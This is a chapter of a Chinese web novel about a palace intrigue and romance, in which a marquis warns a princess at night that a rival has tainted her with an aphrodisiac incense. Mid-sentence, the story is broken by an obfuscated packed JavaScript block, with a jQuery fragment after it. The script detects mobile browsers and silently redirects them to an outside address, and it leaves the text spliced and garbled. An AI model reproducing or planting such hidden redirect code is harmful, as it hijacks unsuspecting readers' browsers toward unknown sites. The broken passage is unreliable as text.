默认冷灰
24号文字
方正启体

18. 第 18 章

作者:葵桔本书字数:K更新时间:
    这样漆黑的天幕,吹灭摇曳的烛火,只剩留着缝隙的窗棱,偷偷溜进一束月光,照一点亮。


    半人高的窗棱推开,人影闪进,没有一丝声响,轻巧的步伐将不合仪的行为做得潇洒又优雅。


    “裴小侯爷如今竟是连正门都不走了。”李明月的声音从玉屏后床帐传出,泠泠清响,如石子投入湖面。


    “什么叫一个两个,你在宴席上出去那会儿遇到谁尾随你?”


    裴既林在窗前站定,却没靠近内室,避嫌般将面转朝窗,声音磁性清润,带些意气。


    他对自己之举也没那么坦然。


    “你倒没有否认自己。”


    “宴席那会儿是秦佑承,想来秦佑泽平安回来给了他不少的打击,今夜不知发了什么疯,拦着我说些有的没的。你呢,小侯爷又是什么事如此大费周章?”


    “……是他啊。”裴既林眼睫低垂,皱了眉思索。


    看不懂他利落地翻完窗又扭头避嫌的做派,李明月索性由着他,她关心的另有其事,他们俩之间还有什么别的秘密,不就那一个?


    李明月自顾自猜着,一下子坐起,隔着层叠纱帐掩不住她身影。


    “难不成是今夜还有人发现了乔姎之父为李高蓬?”


    “嗯?不是,除了李都尉自己,暂时看起来还没有别人……说起来,李都尉那边怎么样?”他关心起她的事来。


    “看他那样儿,不像有胆气相认,秦佑泽若有本事,就挨家挨户地搜家,直到把都尉府的那半枚玉佩找出来。”


    “还是谨慎点为好,你有没有找人盯着?有可靠的人吗,要不要我帮忙……”


    “已经找了,不用你费心,所以你今夜来究竟有何事,就是来问我这个?”


    李明月被他不紧不慢的语调弄得不耐烦,她饮了酒,又吹了风,还废了神,现下酒劲儿上来,身上燥热,她闭了闭眼。


    “……”


    “?”


    裴既林思索着,难得犹豫起来,不知怎么跟她讲,只是他的一点儿顾虑,没有依据,看她现在好像也没事……


    李明月见他半响未出声,但高挺清润身影隔着雕花玉屏还若隐若现,她迟迟的醉意真的有些上来了,让她急躁,耐心耗尽。


    拨开帷帐,她拢起薄衫,起身下榻。


    裴既林听见了她声响的,但他没动,也没回头。披着夜露立在窗前,眉目疏淡,指尖无意识地敲击着窗棱,像在烦恼。


    裴小侯爷也会有烦恼吗?


    可那哒哒一下一下,一下一下。


    像无言暗语,心声触手可及。


    李明月被冒出的不合时宜想法搅动心神,还是压住躁火,她伸了伸手,轻拽他衣袖。


    裴既林不说话,她害怕,怕是什么天大之事,连他都无法解决。


    “到底怎么了?你别不说话。”


    她月华银线钩织的薄袖似有似无地触碰到他的手背,留下难以言喻的抚触,又飞速消去,像钩子一样吊着他。清媚的眼眸上抬看他,像夜间起的雾。


    她从背后靠得很近,为防被人发现,声音压得低低私语,热气扑洒到他清俊面颊,掩不住的幽兰芬芳,馥郁迷人。


    他也由此确定,被她一扯,回头,温和朝她笑笑,似是安抚她,干净又无奈,让人想起覆着雪的寒松。


    拉着她走到前夜交谈的座椅,倒了两杯冷茶。还是太过昏暗,茶洒到了桌上些许,浸湿他细长分明的手指。


    “好暗,夜明珠呢。”清朗的声音响起,敲响室内混沌。


    她警惕地提醒。


    “嘘,低声些,拿什么夜明珠——”


    难道他们是能秉烛夜谈的关系吗。


    读懂她意,再次让他的声音变得像她低哑。


    裴既林喉结吞咽,默认了她的说法,与她一起隐入朦胧的暗色中,让熄灭的灯炷,与关在匣子里的夜明珠给予不合礼法的会面安全感。


    他将茶推到她手边,冰凉的杯身乍然触得她一哆嗦,指腹似有似无的相碰,李明月蜷缩了下手指。


    “你身上很热。”


    裴既林正襟危坐,清瘦的轮廓在暗色中模糊出张力,他推茶杯的手并没有收回来,反而随意地搭在那里,抬手可触。


    “——而且,香气,与平时不太一样。”


    “你没注意吗?”


    “?”


    孟浪地不像裴小侯爷说出的话,可确确实实从他口中说出,又因为面色过于坦然,显得更不正常。


    李明月被他突然消失的距离感搞得一愣,顺着他真的下意识嗅闻起来身上的香气。


    她自己闻不出来,大概是胭脂水粉气罢,小娘子身上多多少少都会沾些。也可能是蹭上的茶香?无意中饮下的酒香?还是椒德宫燃着的果香?


    可裴既林为了这点微不可闻的香气过来……那可是端方俊逸,彬质守礼的裴小侯爷,从不行出格之事。


    静安郡主收起刚刚散漫无畏的劲儿,屈尊降贵地抬手摸了摸他的额头,给予他殊荣。


    “裴小侯爷,你今夜是没饮酒吧,饮酒的是我。难不成我出去透风时你喝多了我没看见?”


    暗色中看见她莹莹的目光,似乎非常真情实感地担心裴既林喝多脑子烧坏,变成拖油瓶,今夜来此处发酒疯。


    她眼前已然浮现明天一早,在太后森然目光下跪着认错的二人,被打发到城郊的普陀寺关到白发终老。小侯爷自是不可能一辈子蹉跎在那儿,敲着木鱼油尽灯枯的只有李明月一人。


    裴小侯爷轩然文雅,坐在那儿看着她,她不自在地皱起眉催促,“别看着我,说话。”


    “看来你真的没注意。”


    他低哑着声音,扰得她耳侧一片热意燃烧。呼吸交错,酥麻从脊柱一节一节往下传,热意从耳侧晕绕到脸颊,烧的在月色下都能看见。


    李明月“蹭”地放下手,挥动的衣袖幽香更胜,随扇动挥发到周边的空气中,将他们包裹。


    像织好的网,张开着,等待着猎物,一旦掉入陷阱,立刻收紧,要将人卷入缠绕。


    今夜醉意上头的,看来还是她。


    可她酒量尚可,又并未多饮……


    裴既林抓住她不堪一握的皓腕,用力一扯,李明月雪肤渗出汗,乌发黏连,被他突然的举动弄得心脏一紧,挣扎起来。


    他稳住她的手腕,撩开她的衣袖,低头,鼻尖几乎贴上她腕间辨认着什么,皱眉:


    “我没猜错,静安,这香是庆合欢。”


    李明月未曾听过庆合欢,但听这名字也能猜得八九不离十。宫里这些腌臜药物多了去了,她零星知道些,庆合欢应该也是跟那些欢宜酒春花散差不多的用处,只是,她怎么会沾上庆合欢?


    难道是——


    一股说不清的躁动在她身体中流窜,之前忽略的以为是果酒上头的燥热成倍累积,在大意的体内发酵,


    “——是秦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294328|167074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佑承。”


    裴既林说出口,肯定了她的猜测。她脑海中闪过不寻常的细节。


    “应当是那个小宫女洒的茶有问题,沾上了衣袖。秦佑承和那个小宫女是一伙儿的,他们算计我。”


    裴既林撩着她的宽袖,指尖不自觉捻了捻。


    “多半是那茶了,庆合欢药效猛烈,一旦入口,半个时辰内必发作。你仅是袖子沾上,今夜又饮了些酒,没察觉也正常。”


    “虽说不太要紧,可药的粉末、气息,这多会儿也随着呼吸进入体内。静安,你觉得怎么样?”


    “……还好。”


    李明月又扯了扯衣襟,在裴既林说庆合欢的气息随呼吸进入她体内时,急促地喘息了两下。


    “还是服用一颗清心丸罢。”


    他递给她一瓶从一开始就掩在袖中的解药。


    李明月默不作声,就着清凉的茶水,一口气吞了下去,给自己清火。喉间起伏,吞咽,小圆粒划过喉管,食道。


    她说着还好,又回想起细节,越想越觉得秦佑承一举一动、一言一语都阴险狡诈图谋不轨。


    “再给我一颗。”


    她没忍住,“……不是,秦佑承有病吧。”


    若她今夜真的喝了那茶,与他在宫里拉扯被撞见,李明月真是一百张嘴都说不清了,只能被迫嫁给他,还得被人在背后指点。


    而秦佑承狡诈地躲在背后隐身,妄想坐享其成。


    “我说他今夜怎么鬼鬼祟祟地跟着我,还阴阳怪气地说些什么‘将来静安你也一定是太后娘娘指谁,你就嫁谁吧’,又劝我睁大眼睛好好看人,选对了人飞上枝头变凤凰。”


    “我多么大的本事,能越过太后娘娘做决定。”


    她举起之前他倒的凉茶,猛地灌进口中。溢出的茶水浸润她朱唇,湿漉漉雨淋淋,她嫣红舌尖伸出,舔了舔。


    裴既林不自在地移开视线,又给她填满茶水,食指抵在唇边,夜色深深,掩过他发热滚烫的耳朵。


    “消消气,秦佑承今夜尾随你出去,就是跟你说的这些?”


    “大差不差吧,还威胁我,叫我别敬酒不吃吃罚酒。”


    李明月恹恹向他道来,颦着的柳叶眉今夜一刻也未松开。她问他:“你何时发觉的?”


    “散场时,从你身旁经过。”


    “今夜过来是为的这个?”


    “嗯。”


    他喉间叹出温润音色,低得弥散在泠泠月色下飘散的尘埃里。


    “想了想,还是觉得不放心。”


    所以过来看看她。


    二人挨得极近,李明月又记起太后警告她的话,他身上也染上幽香了,缠绕着,融化掉。她突然有些紧张:


    “小侯爷对谁都这般好吗……”


    裴既林低低笑了,眸光幽深至极,如同摄人心魄的夜幕勾着她,摇头轻叹:“这便是好了?”


    李明月不懂,“还要如何?”


    他的气息刮过她耳廓,逐字逐句教她,“静安,这不是很好。若要真的好,你不适离席时我便应跟上,你久久不归我便应去寻你,宫宴散后,我该直接拉住你的手……”


    “而不是像现在,夜深人静了,才来寻你。”


    然后借了醉酒,乘着浮香,在夜色的遮掩下,用目光一寸一寸唐突她。


    “这不是好。”


    这是觊觎,是冒犯,是他的不轨之心。


    和盛情邀请。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)